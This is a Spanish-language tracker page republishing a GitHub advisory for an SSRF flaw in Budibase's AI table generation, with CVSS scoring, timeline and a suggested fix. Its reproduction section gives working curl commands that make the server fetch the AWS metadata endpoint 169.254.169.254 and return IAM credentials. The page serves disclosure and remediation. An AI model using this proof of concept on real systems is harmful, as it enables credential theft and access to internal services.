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Advisory · GitHub · npm · budibase

GHSA-3C52-V5V2-3R56

SSRF in AI Table Generation via uploadUrl: raw fetch without blacklist protection

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CVSS 3.1
7.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición63 dDesde la divulgación, 17 sept 2026, 4:18 a. m.
Detección62 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
17 sept 26
18 nov 26
19 nov 26
17 sept 26
3 oct 26
19 oct 26
4 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-3C52-V5V2-3R56 divulgada · CVSS 7.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The `uploadUrl` function in `packages/server/src/utilities/fileUtils.ts` uses raw `node-fetch` without SSRF protection. Every other outbound fetch in the codebase uses `fetchWithBlacklist` from `@budibase/backend-core`, which blocks private IP ranges. This function was missed, enabling full-read SSRF via AI table generation.

Steps to Reproduce

1. Start Budibase
docker run -d --name budibase-poc -p 10000:80 \
  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \
  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \
  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \
  -e BB_ADMIN_USER_EMAIL=admin@test.com \
  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \
  budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done
2. Login as admin (builder role required)
curl -s -c /tmp/bb.txt -X POST http://localhost:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin@test.com","password":"TestPassword123!"}'

APP_ID=$(curl -s -b /tmp/bb.txt -X POST http://localhost:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{"name":"TestApp","useTemplate":"false"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["appId"])')
3. Trigger AI table generation with internal URL
curl -s -b /tmp/bb.txt -X POST "http://localhost:10000/api/ai/tables" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{"prompt":"Create a table called Servers with columns: name (text), screenshot (attachment single). Add one row: name=metadata, screenshot=http://169.254.169.254/latest/meta-data/"}'

The LLM generates table data. When the attachment column contains a URL string, `processAttachments` (line 104 of `packages/server/src/sdk/workspace/ai/helpers/rows.ts`) calls `uploadUrl(value)` (line 113), which executes `fetch(url)` at line 23 of `packages/server/src/utilities/fileUtils.ts` with NO blacklist check. The response body is saved to MinIO/S3 and the presigned URL is returned.

Standalone verification (no LLM needed)

The vulnerable function can be verified by reading the source directly:

# In the budibase source tree:
grep -n "fetch(url)" packages/server/src/utilities/fileUtils.ts
# Output: 23:    const res = await fetch(url)

# Compare with every other fetch call which uses the blacklist:
grep -rn "fetchWithBlacklist" packages/server/src/automations/steps/ | head -5
# Output shows all automation steps use fetchWithBlacklist

# The import at the top of fileUtils.ts:
head -3 packages/server/src/utilities/fileUtils.ts
# Output: import fetch from "node-fetch"  (raw, no blacklist wrapper)

Root Cause

File: `packages/server/src/utilities/fileUtils.ts`, line 23:

import fetch from "node-fetch"  // raw node-fetch, NOT fetchWithBlacklist

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // <-- NO blacklist check
    // response body piped to file, uploaded to S3, URL returned to caller

Call chain: `POST /api/ai/tables` (builder auth) -> `generateTables` -> `generateRows` -> `processAttachments` -> `uploadUrl` -> raw `fetch(url)`

Impact

  1. Full-read SSRF: Response body is saved to object storage and the URL returned to the attacker
  2. Cloud metadata theft: On AWS, `http://169.254.169.254/latest/meta-data/` exposes IAM credentials
  3. Internal service access: CouchDB (5984), Redis (6379), MinIO (9000) are reachable

This is the same bug class as 7 prior SSRF CVEs (GHSA-7r9j, GHSA-xh5j, GHSA-fgqv, GHSA-rpj4, GHSA-4q6h, GHSA-g6qx, GHSA-cv96), each a different endpoint missing `fetchWithBlacklist`.

Suggested Fix

- import fetch from "node-fetch"
+ import { utils } from "@budibase/backend-core"

  export async function uploadUrl(url: string): Promise<Upload | undefined> {
    try {
-     const res = await fetch(url)
+     const res = await utils.fetchWithBlacklist(url)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
budibase≤ 3.41.0
0.0.31
3.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmbudibase
Sin parche — — 0.0.31 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-3c52-v5v2-3r56

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.